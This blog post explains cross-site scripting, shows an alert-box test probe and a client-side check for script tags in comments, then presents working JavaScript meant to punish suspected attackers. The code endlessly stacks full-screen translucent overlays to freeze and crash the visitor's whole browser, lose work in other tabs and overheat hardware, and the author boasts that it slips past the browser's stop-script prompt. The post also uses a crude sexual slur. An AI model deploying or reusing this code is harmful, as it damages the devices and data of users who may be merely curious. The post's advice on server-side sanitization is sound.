Anonimity has always been an important part of the web for me, so when I created this site, I decided to add an anonymous comment system: you can put your email address if you want me to contact you back, or you can just post your comment and leave.
Naturally, people see this and try to abuse it: every day I have to delete spam and comments that don't even make sense, but what triggers me the most is people trying to XSS this site.
Seriously, do you think I'm THAT stupid?
An XSS attack is a type of attack in which a malicious user is able to inject code into a page and have the server serve it to other users.
This is typically done by using a vulnerable input form, like a comment box, or a vulnerable URL. The attack is based on the fact that user input is not properly checked or sanitized by the server before being sent to other users.
If you find a form that you think is vulnerable, you can check by posting something like this:
<script>alert("test")</script>
If the website is vulnerable, when you reload the page, whatever is contained in the script block will be executed by the browser; in this case, you'll see a dialog box that says "test".
Preventing this type of attack is very easy, you just have to sanitize the input using something like PHP's htmlspecialchars() function, which converts characters like < to an inoffensive HTML entity like <.
What I want to do is to have a piece of javascript that detects basic XSS attempts and gives you a bad time for trying such a stupid thing.
To detect the attack, we can create a temporary DOM object, like a div, and set its innerHTML property with the text in the comment box, so that it will be parsed by the browser, then, we can check if it contains any script tag, and in that case we trigger some sort of punishment. The script does not get executed, even if it's parsed, because setting the innerHTML property does not trigger script blocks.
This code implements what we just described:
var temp=document.createElement("div");
temp.innerHTML=document.getElementById("comment").value;
if(temp.getElementsByTagName("script").length>0){
//XSS attempt
}else{
//legit comment
}
Since we only want to punish simple XSS attempts, you might also want to check that the comment length is below a certain threshold, so that this code doesn't trigger in case someone is posting some code and asking for feedback.
Important: This code DOES NOT replace the need to sanitize inputs server-side!
If ActiveX was still a thing, I would install some crypto miner or a ransomware on your machine for this, but (un)fortunately browsers are way more secure and robust nowadays so all I can do is give you a bad 10 minutes.
The objective here is to make the entire browser lag, freeze, crash, etc. so that you lose your work on other tabs, and downloads will fail.
Simply making an infinite loop in javascript is not enough, since it will only freeze this tab and the browser can show you a nice banner to terminate the frozen script, so I had to be more creative and that means... GPU rape!
We can make a function that adds a ton of semi-transparent overlays in a very specific order, so that the browser will have to render the page and do alpha blending thousands of times, causing the entire UI to become unresponsive, making the GPU overheat, and filling the RAM until the browser crashes.
This code implements the punishment:
var annoy=function(){
for(var i=0;i<10000;i++){
var d=document.createElement("div");
d.style.position="fixed";
d.style.top=0; d.style.left=0;
d.style.width="100vw"; d.style.height="100vh";
d.style.zIndex=i;
d.style.backgroundColor="#FFFFFF02";
document.body.appendChild(d);
}
setTimeout(annoy,0);
}
annoy();
This code defines a function called annoy that creates 10000 overlays that cover the entire page, with a semi-transparent color; after creating them, it uses setTimeout with a timeout of 0ms to call itself again in the next frame, adding 10000 more overlays until the browser crashes. The annoy function is called when an XSS attempt is detected.
The cool thing about this method is that the browser will not show the banner to terminate the script, because the lag is not caused by my code, but by the rendering process of the browser itself. It also overheats laptops way more than an infinite loop would :)
It's likely that this "exploit" will get fixed at some point by browser developers, I tried this code on several browsers and platforms and as of October 2020:
If you have ideas on how to improve the detection or the punishment, I'd be more than happy to hear them :)
You are free to do whatever you want with the code shown in this article. Download example code
Feel free to try to XSS the comment box below to test the code on your system.